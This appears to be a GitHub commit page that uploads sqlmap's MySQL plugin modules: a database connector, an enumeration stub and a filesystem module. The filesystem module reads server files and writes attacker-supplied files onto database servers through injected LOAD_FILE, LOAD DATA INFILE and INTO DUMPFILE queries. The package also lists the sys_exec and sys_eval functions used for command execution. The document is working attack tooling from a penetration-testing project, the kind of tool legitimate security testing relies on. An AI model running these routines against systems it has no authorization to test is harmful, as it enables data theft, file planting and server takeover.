Skip to content

Commit 0eab697

Browse files
Add files via upload
1 parent 7921176 commit 0eab697

64 files changed

Lines changed: 4065 additions & 0 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

plugins/dbms/__init__.py

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
5+
See the file 'LICENSE' for copying permission
6+
"""
7+
8+
pass

plugins/dbms/mysql/__init__.py

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
5+
See the file 'LICENSE' for copying permission
6+
"""
7+
8+
from lib.core.enums import DBMS
9+
from lib.core.settings import MYSQL_SYSTEM_DBS
10+
from lib.core.unescaper import unescaper
11+
from plugins.dbms.mysql.enumeration import Enumeration
12+
from plugins.dbms.mysql.filesystem import Filesystem
13+
from plugins.dbms.mysql.fingerprint import Fingerprint
14+
from plugins.dbms.mysql.syntax import Syntax
15+
from plugins.dbms.mysql.takeover import Takeover
16+
from plugins.generic.misc import Miscellaneous
17+
18+
class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
19+
"""
20+
This class defines MySQL methods
21+
"""
22+
23+
def __init__(self):
24+
self.excludeDbsList = MYSQL_SYSTEM_DBS
25+
self.sysUdfs = {
26+
# UDF name: UDF return data-type
27+
"sys_exec": {"return": "int"},
28+
"sys_eval": {"return": "string"},
29+
"sys_bineval": {"return": "int"}
30+
}
31+
32+
for cls in self.__class__.__bases__:
33+
cls.__init__(self)
34+
35+
unescaper[DBMS.MYSQL] = Syntax.escape

plugins/dbms/mysql/connector.py

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
5+
See the file 'LICENSE' for copying permission
6+
"""
7+
8+
try:
9+
import pymysql
10+
except:
11+
pass
12+
13+
import logging
14+
import struct
15+
16+
from lib.core.common import getSafeExString
17+
from lib.core.data import conf
18+
from lib.core.data import logger
19+
from lib.core.exception import SqlmapConnectionException
20+
from plugins.generic.connector import Connector as GenericConnector
21+
22+
class Connector(GenericConnector):
23+
"""
24+
Homepage: https://github.com/PyMySQL/PyMySQL
25+
User guide: https://pymysql.readthedocs.io/en/latest/
26+
Debian package: python3-pymysql
27+
License: MIT
28+
29+
Possible connectors: http://wiki.python.org/moin/MySQL
30+
"""
31+
32+
def connect(self):
33+
self.initConnection()
34+
35+
try:
36+
self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
37+
except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error) as ex:
38+
raise SqlmapConnectionException(getSafeExString(ex))
39+
40+
self.initCursor()
41+
self.printConnected()
42+
43+
def fetchall(self):
44+
try:
45+
return self.cursor.fetchall()
46+
except pymysql.ProgrammingError as ex:
47+
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
48+
return None
49+
50+
def execute(self, query):
51+
retVal = False
52+
53+
try:
54+
self.cursor.execute(query)
55+
retVal = True
56+
except (pymysql.OperationalError, pymysql.ProgrammingError) as ex:
57+
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
58+
except pymysql.InternalError as ex:
59+
raise SqlmapConnectionException(getSafeExString(ex))
60+
61+
self.connector.commit()
62+
63+
return retVal
64+
65+
def select(self, query):
66+
retVal = None
67+
68+
if self.execute(query):
69+
retVal = self.fetchall()
70+
71+
return retVal

plugins/dbms/mysql/enumeration.py

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
5+
See the file 'LICENSE' for copying permission
6+
"""
7+
8+
from plugins.generic.enumeration import Enumeration as GenericEnumeration
9+
10+
class Enumeration(GenericEnumeration):
11+
pass

plugins/dbms/mysql/filesystem.py

Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
5+
See the file 'LICENSE' for copying permission
6+
"""
7+
8+
from lib.core.agent import agent
9+
from lib.core.common import getSQLSnippet
10+
from lib.core.common import isNumPosStrValue
11+
from lib.core.common import isTechniqueAvailable
12+
from lib.core.common import popValue
13+
from lib.core.common import pushValue
14+
from lib.core.common import randomStr
15+
from lib.core.common import singleTimeWarnMessage
16+
from lib.core.compat import xrange
17+
from lib.core.data import conf
18+
from lib.core.data import kb
19+
from lib.core.data import logger
20+
from lib.core.decorators import stackedmethod
21+
from lib.core.enums import CHARSET_TYPE
22+
from lib.core.enums import DBMS
23+
from lib.core.enums import EXPECTED
24+
from lib.core.enums import PAYLOAD
25+
from lib.core.enums import PLACE
26+
from lib.core.exception import SqlmapNoneDataException
27+
from lib.request import inject
28+
from lib.request.connect import Connect as Request
29+
from lib.techniques.union.use import unionUse
30+
from plugins.generic.filesystem import Filesystem as GenericFilesystem
31+
32+
class Filesystem(GenericFilesystem):
33+
def nonStackedReadFile(self, rFile):
34+
if not kb.bruteMode:
35+
infoMsg = "fetching file: '%s'" % rFile
36+
logger.info(infoMsg)
37+
38+
result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
39+
40+
return result
41+
42+
def stackedReadFile(self, remoteFile):
43+
if not kb.bruteMode:
44+
infoMsg = "fetching file: '%s'" % remoteFile
45+
logger.info(infoMsg)
46+
47+
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
48+
self.getRemoteTempPath()
49+
50+
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
51+
52+
debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
53+
debugMsg += "into temporary file '%s'" % tmpFile
54+
logger.debug(debugMsg)
55+
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile))
56+
57+
debugMsg = "loading the content of hexadecimal encoded file "
58+
debugMsg += "'%s' into support table" % remoteFile
59+
logger.debug(debugMsg)
60+
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
61+
62+
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
63+
64+
if not isNumPosStrValue(length):
65+
warnMsg = "unable to retrieve the content of the "
66+
warnMsg += "file '%s'" % remoteFile
67+
68+
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
69+
if not kb.bruteMode:
70+
warnMsg += ", going to fall-back to simpler UNION technique"
71+
logger.warning(warnMsg)
72+
result = self.nonStackedReadFile(remoteFile)
73+
else:
74+
raise SqlmapNoneDataException(warnMsg)
75+
else:
76+
length = int(length)
77+
chunkSize = 1024
78+
79+
if length > chunkSize:
80+
result = []
81+
82+
for i in xrange(1, length, chunkSize):
83+
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
84+
result.append(chunk)
85+
else:
86+
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
87+
88+
return result
89+
90+
@stackedmethod
91+
def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
92+
logger.debug("encoding file to its hexadecimal string value")
93+
94+
fcEncodedList = self.fileEncode(localFile, "hex", True)
95+
fcEncodedStr = fcEncodedList[0]
96+
fcEncodedStrLen = len(fcEncodedStr)
97+
98+
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
99+
warnMsg = "as the injection is on a GET parameter and the file "
100+
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
101+
warnMsg += "bytes, this might cause errors in the file "
102+
warnMsg += "writing process"
103+
logger.warning(warnMsg)
104+
105+
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
106+
logger.debug(debugMsg)
107+
108+
pushValue(kb.forceWhere)
109+
kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
110+
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)
111+
unionUse(sqlQuery, unpack=False)
112+
kb.forceWhere = popValue()
113+
114+
warnMsg = "expect junk characters inside the "
115+
warnMsg += "file as a leftover from UNION query"
116+
singleTimeWarnMessage(warnMsg)
117+
118+
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
119+
120+
def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
121+
logger.debug("encoding file to its hexadecimal string value")
122+
123+
fcEncodedList = self.fileEncode(localFile, "hex", True)
124+
fcEncodedStr = fcEncodedList[0][2:]
125+
fcEncodedStrLen = len(fcEncodedStr)
126+
127+
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
128+
warnMsg = "the injection is on a GET parameter and the file "
129+
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
130+
warnMsg += "bytes, this might cause errors in the file "
131+
warnMsg += "writing process"
132+
logger.warning(warnMsg)
133+
134+
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
135+
logger.debug(debugMsg)
136+
137+
query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr)
138+
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
139+
payload = agent.payload(newValue=query)
140+
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
141+
142+
warnMsg = "expect junk characters inside the "
143+
warnMsg += "file as a leftover from original query"
144+
singleTimeWarnMessage(warnMsg)
145+
146+
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
147+
148+
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
149+
debugMsg = "creating a support table to write the hexadecimal "
150+
debugMsg += "encoded file to"
151+
logger.debug(debugMsg)
152+
153+
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
154+
155+
logger.debug("encoding file to its hexadecimal string value")
156+
fcEncodedList = self.fileEncode(localFile, "hex", False)
157+
158+
debugMsg = "forging SQL statements to write the hexadecimal "
159+
debugMsg += "encoded file to the support table"
160+
logger.debug(debugMsg)
161+
162+
sqlQueries = self.fileToSqlQueries(fcEncodedList)
163+
164+
logger.debug("inserting the hexadecimal encoded file to the support table")
165+
166+
inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
167+
168+
for sqlQuery in sqlQueries:
169+
inject.goStacked(sqlQuery)
170+
171+
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
172+
logger.debug(debugMsg)
173+
174+
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
175+
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)
176+
177+
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)

0 commit comments

Comments
 (0)